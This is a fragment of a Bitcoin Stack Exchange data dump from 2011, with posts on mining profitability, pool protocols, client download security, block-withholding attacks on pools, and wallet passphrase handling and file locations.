LastEditorUserId="153" LastEditDate="2011-10-02T15:31:20.857" LastActivityDate="2011-10-02T15:31:20.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1321" PostTypeId="2" ParentId="1319" CreationDate="2011-10-01T18:58:57.417" Score="3" Body="&lt;p&gt;If your costs are minimal (for example, you don't pay for electricity), yes, there is some point in casual mining. You will have to mine in a pool (for example &lt;a href=&quot;http://www.btcguild.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.btcguild.com/&lt;/a&gt;) and don't have high expectations, but yes, you can get some coins over some time. If you care about how much will it cost you to generate those coins, you might want to consider buying the coins at &lt;a href=&quot;https://mtgox.com/&quot; rel=&quot;nofollow&quot;&gt;https://mtgox.com/&lt;/a&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to know how much you can get in a reasonable timeframe, check out a bitcoin calculator, for example &lt;a href=&quot;http://tpbitcalc.appspot.com/&quot; rel=&quot;nofollow&quot;&gt;http://tpbitcalc.appspot.com/&lt;/a&gt; .&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-10-01T18:58:57.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1322" PostTypeId="2" ParentId="1319" CreationDate="2011-10-01T18:59:33.207" Score="18" Body="&lt;p&gt;TLDR: Rough estimate of electricity cost needed to produce one bitcoin on a laptop with 5 Mhash/s equals to 61 dollar, and would take 339 days with current difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A standard laptop CPU provides around &lt;a href=&quot;https://bitcointalk.org/index.php?topic=1628.0&quot; rel=&quot;nofollow&quot;&gt;2-8 Mhash/sec&lt;/a&gt; and consumes 25 to 75 watts, which on average gives us 1 Mhash/sec per 10 watts of power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An ATI 5870 video card, which has one the best efficiency/cost ratios, mines at about &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;400 Mhash/sec&lt;/a&gt; and consumes about 216 watts. Which gives us about 2 Mhash/sec per 1 watt of power. In other words mining with ATI video card about 20 times more cost effective then mining with CPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://pi.uk.com/bitcoin&quot; rel=&quot;nofollow&quot;&gt;pi.uk.com/bitcoin&lt;/a&gt;, mining with ATI video cards at 1000 Mhash/sec will cost 650 watts or 9.75 cents (15 cent per kilowatt hour), and the operation profit margin would be 19.07%. Therefore I doubt it would be cost effective to mine on laptop considering that power consumption changes dramatically from computing intensive task. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get better estimate yourself by using &lt;a href=&quot;http://bitcoinx.com/profit/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin mining profitability calculator&lt;/a&gt; and &lt;a href=&quot;http://www.electricchoice.com/electricity-prices-by-state.php&quot; rel=&quot;nofollow&quot;&gt;Electricity Prices by State&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="3684" LastEditDate="2013-11-15T19:55:38.967" LastActivityDate="2013-11-15T19:55:38.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1323" PostTypeId="1" AcceptedAnswerId="1324" CreationDate="2011-10-01T19:14:05.220" Score="6" ViewCount="3084" Body="&lt;p&gt;The Bitcoin client protocol is well documented in the Bitcoin Wiki, but I can't find much on the protocol used by pools and miners. Is it described anywhere?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2016-03-14T13:27:17.613" LastActivityDate="2016-03-14T13:27:17.613" Title="What is the standard protocol for pools/miners?" Tags="|mining-pools|json-rpc|getwork|stratum|getblocktemplate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1324" PostTypeId="2" ParentId="1323" CreationDate="2011-10-01T19:58:48.397" Score="6" Body="&lt;p&gt;When there were no pools, all of the first mining clients interfaced directly with Bitcoin. They connected to Bitcoin's JSON-RPC interface and used the &lt;em&gt;getwork&lt;/em&gt; RPC method to get the required work. Getting work from a pool is the same as getting work from Bitcoin. The client connects to the pool over HTTP, often using the same HTTP authentication that Bitcoin's JSON-RPC interface uses; the client sends a JSON-RPC &lt;em&gt;getwork&lt;/em&gt; message; and the pool sends back a JSON-RPC &lt;em&gt;getwork&lt;/em&gt; response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many pools nowadays support some extensions to the &lt;em&gt;getwork&lt;/em&gt; protocol that Bitcoin does not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See:&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Getwork&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Getwork&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-10-01T19:58:48.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1325" PostTypeId="2" ParentId="1319" CreationDate="2011-10-02T01:56:49.367" Score="17" Body="&lt;p&gt;Mining in your work/home computer has some side effects, namely:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Heat - could damage your hardware if you don't handle it properly&lt;/li&gt;&#xA;&lt;li&gt;Noise&lt;/li&gt;&#xA;&lt;li&gt;Slowdowns - if you use your computer while you mine you should reduce the miner's load &lt;/li&gt;&#xA;&lt;li&gt;Power consumption - if you don't pay for electricity this may not be an issue&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So I would say that there is a point in casual mining as long as your earnings compensate for these disadvantages. It is really up to you to decide if you want to stress your hardware to earn a few coins.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Speaking of a more concrete scenario, casual miners usually fall into two categories:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You have a good GPU for mining in your PC - a recent medium/high end ATI card.&lt;/li&gt;&#xA;&lt;li&gt;You don't have a good GPU so you want to mine with your CPU/low end GPU.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Check &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/118/how-much-bitcoin-will-i-mine-right-now-with-hardware-x&quot;&gt;this question&lt;/a&gt; to find out where do you stand. If you have a good GPU, you might get around 8 bitcoins per month at current difficulty. If you don't, you will probably not earn more than 1 or 2 coins per month.&#xA;My personal opinion is that if you fit into the first category, you could give it a shot. If not, I wouldn't do it just for a few dollars (and I do not recommend &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/59/is-cpu-mining-even-worth-it&quot;&gt;mining with your CPU&lt;/a&gt; at all).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a final note, bear in mind that these numbers are always changing: new hardware is coming out all the time and new miners are joining while others are leaving. This influences the amount of bitcoins you will earn with your hardware so be sure to check an &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;noreferrer&quot;&gt;updated hardware list&lt;/a&gt; for your calculations.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2011-10-02T02:05:19.873" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1326" PostTypeId="2" ParentId="1318" CreationDate="2011-10-02T04:39:26.030" Score="4" Body="&lt;p&gt;The value will definitely rise &lt;em&gt;if&lt;/em&gt; Bitcoins are ever used widely. But there's no guarantee that will ever happen. Even if you think crytpo-currencies are awesome and that human beings will be using something like them for centuries, it' still entirely possible that it will not be Bitcoins but some similar crypto-currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is likely that almost all of the current value of Bitcoins comes from speculation. In fact, the recent drop from around $11 to around $5 is likely due to people thinking the chances of Bitcoins becoming mainstream are lower.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point is, widespread adoption of Bitcoin in the future is very far from a sure thing -- even if you think widespread adoption of crypto-currencies is a sure thing.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-10-02T04:39:26.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1327" PostTypeId="2" ParentId="1305" CreationDate="2011-10-02T10:21:09.803" Score="4" Body="&lt;p&gt;This might interest you&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=45849.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=45849.0&lt;/a&gt;&#xA;FPGA implementation was investigated, too, and it appears somewhat lacking in performance compared to a CPU about 1/7th the price, thus being quite non cost-effective&lt;/p&gt;&#xA;" OwnerUserId="525" LastActivityDate="2011-10-02T10:21:09.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1328" PostTypeId="1" CreationDate="2011-10-02T15:26:15.200" Score="7" ViewCount="382" Body="&lt;p&gt;Other payment networks have scheduled maintenance periods as well as unscheduled outages but Bitcoin's network, being decentralized, can have varying service levels depending on:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;which versions of the software and which nodes are used&lt;/li&gt;&#xA;&lt;li&gt;the nature of the transactions (e.g., microtransactions or those originating from an eWallet sans fee, etc.)&lt;/li&gt;&#xA;&lt;li&gt;several other factors.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What are key performance measurements that can be made for the Bitcoin network, and how can they be measured? If measurements are being made already, where are they available?&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="516" LastEditDate="2012-08-15T01:47:36.887" LastActivityDate="2012-08-15T01:47:36.887" Title="Uptime and other service performance levels" Tags="|network|performance|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1329" PostTypeId="1" AcceptedAnswerId="1336" CreationDate="2011-10-02T15:50:21.263" Score="8" ViewCount="3324" Body="&lt;p&gt;I'm wondering if plugging cards into something this &lt;a href=&quot;http://www.netstor.com.tw/_03/03_02.php?OTc=&quot; rel=&quot;nofollow&quot;&gt;external pci expansion box&lt;/a&gt; would be effective in a mining setup. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess it depends on how much bandwidth is used, but I don't know how bandwidth intensive the mining process is. Has anyone here used a setup like this for mining? &lt;/p&gt;&#xA;" OwnerUserId="136" LastEditorUserId="5406" LastEditDate="2016-01-27T16:44:07.190" LastActivityDate="2016-01-27T16:44:07.190" Title="Can you use an external PCI expansion box for mining?" Tags="|mining-hardware|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1331" PostTypeId="1" CreationDate="2011-10-02T18:55:31.633" Score="8" ViewCount="248" Body="&lt;p&gt;The Bitcoin client is downloaded from a non-HTTPS server, so you cannot verify that it is legit, and the installer exe is not digitally signed. How often does that result in a Trojan client, and why is it done in this way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that you should check the pgp signature of the file, but if you do not have https, then how do you know the pgp signature is not just as bogus as the file itself? Don't we need https too?&lt;/p&gt;&#xA;" OwnerUserId="529" LastEditorUserId="-1" LastEditDate="2011-10-03T12:17:29.840" LastActivityDate="2011-10-03T12:17:29.840" Title="Trojan Clients?" Tags="|client|security|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1332" PostTypeId="2" ParentId="1331" CreationDate="2011-10-02T19:39:55.010" Score="3" Body="&lt;p&gt;As to why, here's a &lt;a href=&quot;https://bitcointalk.org/index.php?topic=43442.0&quot; rel=&quot;nofollow&quot;&gt;recent comment from Gavin Andresen&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I'd like to switch from sourceforge to github for binary release&#xA;  downloads, because sourceforge doesn't support https for downloads.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, most likely we'll have HTTPS downloads soon.&lt;/p&gt;&#xA;" OwnerUserId="105" LastEditorUserId="105" LastEditDate="2011-10-02T19:48:55.777" LastActivityDate="2011-10-02T19:48:55.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1334" PostTypeId="2" ParentId="1328" CreationDate="2011-10-02T22:10:27.790" Score="2" Body="&lt;p&gt;You seem to conflate several issues in your question. If you are just talking about &quot;uptime&quot;, which your question title implies, then speed of transaction propagation or confirmation is not relevant. As long as your node is can connect to other nodes and send/receive data, the network is &quot;up&quot;. If you send transactions that require fees and they don't confirm for a long time, that's your problem, not the network's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, the &quot;gist&quot; of your question, about network health, transaction processing speed, etc, is not unimportant. There is a bunch of useful data on this site, dedicated to monitoring the bitcoin network: &lt;a href=&quot;http://bitcoinstatus.rowit.co.uk/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinstatus.rowit.co.uk/&lt;/a&gt; that would probably get you started in the right direction. :)&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2011-10-02T22:10:27.790" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1335" PostTypeId="2" ParentId="1331" CreationDate="2011-10-02T22:20:35.310" Score="8" Body="&lt;p&gt;github also doesn't support https downloads. though the download 'area' is https, the actual files are pulled from &lt;a href=&quot;http://cloud.github.com&quot; rel=&quot;nofollow&quot;&gt;http://cloud.github.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you really are barking up the wrong tree with the https bit, since all https is telling you is that the server you're talking with is who it claims it is. if server is compromised, it will serve you a trojaned file just as happily as any other file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what you really want to do is verify the pgp signature of the file (or of a file containing a hash of the released file), made by the developer making the release. you can do this regardless of where you download the files - both github and sourceforge contain the gpg-signed sha1sums file that you can verify the signature of to ensure file integrity and authenticity. the only way that could be compromised if the developer's machine itself was compromised.&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2011-10-02T22:20:35.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1336" PostTypeId="2" ParentId="1329" CreationDate="2011-10-02T22:39:12.790" Score="3" Body="&lt;p&gt;The amount of bandwidth used for mining is absolutely trivial, so bandwidth won't hurt you much here. Of course you &lt;em&gt;would&lt;/em&gt; have to use something &lt;strong&gt;like&lt;/strong&gt; this box because this one doesn't appear to be nearly deep enough for a full-length video card. Using the backplane from this box in a custom enclosure might be worthwhile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The secondary problem you'll run into is power. This unit appears to have just enough power supply to power the communications between ports. An additional PSU will be needed for the GPUs themselves which, conveniently, typically draw most of their power from four or six pin connectors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in short, using this backplane in a separate enclosure with an external power supply (and a lot more airflow) seems pretty viable to me. Of course I haven't personally done this so I make no guarantees, but if someone has actually attempted this I'd love to hear about it.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-10-02T22:39:12.790" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1338" PostTypeId="1" AcceptedAnswerId="1341" CreationDate="2011-10-03T02:37:26.310" Score="44" ViewCount="7607" Body="&lt;p&gt;If I understand the technical process (for most mining pools) correctly, a participant in a mining pool is given block data to combine with a nonce to try to solve the block. If they get close (but not close enough to give the actual solution) to solving a block, they have solved a &quot;share&quot;, and at that point return proof-of-work to the mining pool to receive a share of the final payout when the block is solved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the participant performing the mining DOES know if they actually solve the block. At this point, a malicious miner running custom mining software could potentially choose to not send the solution to the pool. I think I have seen this referred to as a &quot;solution withholding attack&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How vulnerable are pools and pool-miners to this threat?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Edit]: Also, what can pools do to detect or deter this threat?&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="5406" LastEditDate="2016-01-27T16:43:52.760" LastActivityDate="2016-01-27T16:43:52.760" Title="How is block-solution-withholding a threat to mining pools?" Tags="|mining-pools|weaknesses|block-withholding|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1339" PostTypeId="2" ParentId="1338" CreationDate="2011-10-03T02:52:36.253" Score="3" Body="&lt;p&gt;Depends on what you mean by 'vulnerable'. If you mean &quot;is it possible to do without the ability of a pool to stop it&quot; then the answer is &quot;yes&quot;. If you mean &quot;will a pool suffer significant damage and/or die as a result of it&quot;, then for a sizeable pool, the answer is &quot;no&quot;. A relatively small pool may see an attack such as this manifesting itself as &quot;really bad luck&quot;, inasmuch as it would be below expected value for the number of blocks it can be expected to solve given its hash rate, per unit of time. But for a large pool, an attack of a few (dozen) GHps doing this is just not going to be noticeable.&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2011-10-03T02:52:36.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1340" PostTypeId="2" ParentId="1301" CreationDate="2011-10-03T03:12:45.800" Score="5" Body="&lt;p&gt;In addition to the github issue tracker, if you're a fan of real-time communication, you could also try dropping by the #bitcoin-dev IRC channel on freenode and chatting to the folks on there about your issue.&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2011-10-03T03:12:45.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1341" PostTypeId="2" ParentId="1338" CreationDate="2011-10-03T03:26:46.977" Score="35" Body="&lt;p&gt;Every pool is vulnerable to the threat. And there's pretty much nothing they can do about it other than perhaps to try to force their miners to use a closed source mining program that they try to make tamper-proof.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your analysis is precisely correct. Miners know when they only found a share versus when they solved a block. A malicious miner could submit shares but withhold solved blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The consequences of this depend on the payout model the mining pool uses. If, for example, the pool uses a fixed pay per share, such a miner is robbing the pool operator. But he does no harm to the other miners. If it uses most of the other distribution schemes, such a miner is robbing the other miners since he is being paid out of solved blocks and never contributes to the number of solved blocks. The amount of harm he does is typically proportional to the amount of hashing power he has.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This attack is typically undetectable because it just appears to be ordinary bad luck. An attacker can use a large number of distinct user names so it wouldn't appear suspicious that no blocks had been solved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are generally two motives for such an attack, depending on the payout plan the pool uses. One would simply be to make the pool operator lose money. In a PPS plan, you would get paid normally for your mining, all of which would be a straight loss to the pool operator. With other payout plans, making the pool seem unlucky (and thus driving away miners from that pool) could be a part of the motive. You still get paid for your shares, so the cost to launch such an attack (assuming you were already going to mine) is not that much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The consensus is that such attacks are likely to remain rare and generally insignificant. The payout for the attack is simply too small and it's not an effective way to bankrupt a pool or get miners to desert a pool unless it's a particularly small pool, in which case there's generally no point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note that it is not possible for an attacker to submit any blocks he finds himself and keep the profits. To earn shares, he must attempt to solve the blocks the pool asks him to solve, and those will include a coinbase entry that pays the block reward to the pool's operator.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="13524" LastEditDate="2015-06-12T23:06:27.167" LastActivityDate="2015-06-12T23:06:27.167" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="1342" PostTypeId="2" ParentId="1329" CreationDate="2011-10-03T03:30:21.417" Score="3" Body="&lt;p&gt;Unfortunately, this particular device provides four ordinary PCI slots (not PCI-Express). There is currently no sensible mining hardware that connects to a PCI slot.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-10-03T03:30:21.417" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1343" PostTypeId="1" CreationDate="2011-10-03T05:02:50.673" Score="7" ViewCount="414" Body="&lt;p&gt;It is widely accepted that Bitcoin is both a transaction network, and a currency subject to speculative market action like established fiat currencies. In a sense, it is a transaction network with a 'capacitor' in the middle, which happens to be stored value in the form of the world's first distributed digital currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I investigated and performed some analysis around Bitcoin Days Destroyed, and found it a little empty in terms of measuring the adoption of Bitcoin as a tranactional currency. Instead, I simply took a moving average of the number of transactions per block as a straight indicator of real transactional activity. This analysis makes no attempt to measure or attribute meaning to the size of transactions; the focus is exclusively on the volume of transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To that end, the attached is a graph of transactions per block which includes a linear best-fit trend and a 255 sample rolling average. Both show clearly that the transaction count has trended down over the past few months. How valid is this graph as a proxy for the adoption of Bitcoin as a tranactional currency, and what level of activity should we want to see before we'd consider Bitcoin a 'success' as such a currency?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: in the graph below, the the slope co-efficient is transactions/(block*day), so the implication is that the average number of transactions per block is falling at a rate of 0.0716 per day, or about 1 transaction fewer every 2 weeks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f0BH9.png&quot; alt=&quot;Bitcoin Transaction Trend Analysis&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="222" LastEditorUserId="15412" LastEditDate="2014-06-19T19:43:52.333" LastActivityDate="2014-06-19T19:43:52.333" Title="Can we interpret a rolling average transaction count per block as the 'adoption curve' for Bitcoin?" Tags="|transactions|currencies|adoption|bitcoin-days-destroyed|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1344" PostTypeId="2" ParentId="484" CreationDate="2011-10-03T05:57:38.430" Score="2" Body="&lt;p&gt;I think that this would be an improvement because it would reduce the unpredictability of the (M0) money supply, which is a good thing. There are two other effects it might have which are also potentially good: 1. it would provide more ongoing reward for miners after ab initio mining runs out, and 2. it would limit the amount of transaction history that you need to remember in order to check the correctness of a transaction.&lt;/p&gt;&#xA;" OwnerUserId="149" LastEditorUserId="307" LastEditDate="2012-08-06T23:50:42.730" LastActivityDate="2012-08-06T23:50:42.730" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1345" PostTypeId="1" CreationDate="2011-10-03T08:13:42.290" Score="21" ViewCount="3801" Body="&lt;p&gt;With bitcoin 0.4.0 I have encrypted my wallet. Now when I would want to use bitcoind, the only way to send money is to provide my wallet decryption key on the cmd line first. I do not want to do that as my password will show up in the shell history. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to let bitcoind ask for the wallet passphrase?&lt;/p&gt;&#xA;" OwnerUserId="125" LastActivityDate="2022-09-22T10:21:47.453" Title="Is there a way to provide the walletpassphrase to bitcoind without exposing it on the cmdline?" Tags="|bitcoind|" AnswerCount="6" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1347" PostTypeId="2" ParentId="1343" CreationDate="2011-10-03T14:36:07.573" Score="4" Body="&lt;p&gt;The main problem I can see with using such a metric to measure adoption is that a tremendous amount of transactions take place on the various exchanges during periods of heavy speculative investment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During the current downtrend we're probably experiencing a lower percentage of traffic from investors and a higher percentage of traffic from actual users of the currency. The problem is that there isn't really any feasible method of weeding out the MtGox, TradeHill, Britcoin etc traffic from the regular use cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way that I can imagine being able to weed out such transactions is if MtGox and their ilk actually provided a full list of the transactions they process each day. Armed with a list of transactions from at least the major exchanges we could mostly eliminate speculative use from our measurements and see something closer to actual adoption levels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately to my knowledge no such transaction list exists and without it, it's uncertain if such a rolling average is showing a decline in actual adoption or simply a decline in speculation. One of the big difficulties to be encountered in Bitcoin is that it's simultaneously quite open and extremely closed and can be &lt;strong&gt;very&lt;/strong&gt; difficult to perform meaningful analysis on.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-10-03T14:36:07.573" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1348" PostTypeId="2" ParentId="1345" CreationDate="2011-10-03T14:40:53.840" Score="13" Body="&lt;p&gt;Anything you can do from the command line you can also do from the JSON API which means that the same unlock command could be sent from within code just as easily. To my knowledge there is no pre-built utility capable of this, but the API is simple enough that I can't imagine it being terribly difficult to actually build such a tool.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; &lt;em&gt;It was much easier than expected to do this in Python. Assuming you have Python's &lt;a href=&quot;http://json-rpc.org/wiki/python-json-rpc&quot; rel=&quot;nofollow&quot;&gt;JSON-RPC&lt;/a&gt; module installed just use this code:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from jsonrpc import ServiceProxy&#xA;from getpass import getpass&#xA;access = ServiceProxy(&quot;http://127.0.0.1:8332&quot;)&#xA;pwd = getpass(&quot;Enter wallet passphrase: &quot;)&#xA;access.walletpassphrase(pwd, 60)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Similarly you could call &lt;code&gt;access.walletlock()&lt;/code&gt; to lock the wallet on demand and &lt;code&gt;walletpassphrasechange(old, new)&lt;/code&gt; to change the passphrase without ever having it see the command line.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2:&lt;/strong&gt; &lt;em&gt;I also submitted an &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/548&quot; rel=&quot;nofollow&quot;&gt;issue&lt;/a&gt; to the devs on github on your behalf.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 3:&lt;/strong&gt; &lt;em&gt;A pull request containing my python scripts has been accepted. Downloading the bitcoin source &lt;a href=&quot;https://github.com/bitcoin/bitcoin&quot; rel=&quot;nofollow&quot;&gt;from github&lt;/a&gt; now includes scripts for this purpose in contrib/wallettools&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 4:&lt;/strong&gt; &lt;em&gt;A &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/2318&quot; rel=&quot;nofollow&quot;&gt;new bug report&lt;/a&gt; was filed to request that the builtin command behaves properly.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="2306" LastEditDate="2013-02-19T18:10:01.483" LastActivityDate="2013-02-19T18:10:01.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1349" PostTypeId="2" ParentId="1345" CreationDate="2011-10-03T14:51:47.940" Score="0" Body="&lt;p&gt;While in command prompt press &lt;kbd&gt;ALT&lt;/kbd&gt;+&lt;kbd&gt;F7&lt;/kbd&gt; to delete all commands stored in memory for the current history buffer.&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2011-10-03T14:51:47.940" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1350" PostTypeId="1" AcceptedAnswerId="1352" CreationDate="2011-10-03T16:52:05.100" Score="25" ViewCount="45423" Body="&lt;p&gt;Is there a wallet.dat for OSX? Where is it located?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taken from &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/544&quot;&gt;https://github.com/bitcoin/bitcoin/issues/544&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="105" LastEditDate="2013-05-17T16:32:06.323" LastActivityDate="2018-04-13T09:37:03.153" Title="Where is Bitcoin information (wallet.dat) stored on OS X?" Tags="|mac|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1352" PostTypeId="2" ParentId="1350" CreationDate="2011-10-03T17:29:57.913" Score="26" Body="&lt;p&gt;The Bitcoin wallet on Mac OS X is located in &lt;code&gt;~/Library/Application Support/Bitcoin/wallet.dat&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Mac_OS_X_Lion&quot; rel=&quot;noreferrer&quot;&gt;Mac&amp;nbsp;OS&amp;nbsp;X&amp;nbsp;v10.7&lt;/a&gt; (Lion) came out, and it has the &lt;code&gt;~/Library&lt;/code&gt; folder hidden, see the &lt;a href=&quot;https://bitcoin.stackexchange.com/a/5293/108&quot;&gt;answer from chilled35&lt;/a&gt; to access it with Finder.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In order to see hidden folders, such as &lt;code&gt;~/Library&lt;/code&gt; from Finder, simply hit &lt;code&gt;shift + ⌘ (command) + G&lt;/code&gt; which will GO to a folder, then paste in this location:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/Library/Application Support/Bitcoin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;From there, you will see all the files associated with your wallet.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="108" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-03-02T21:46:32.313" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
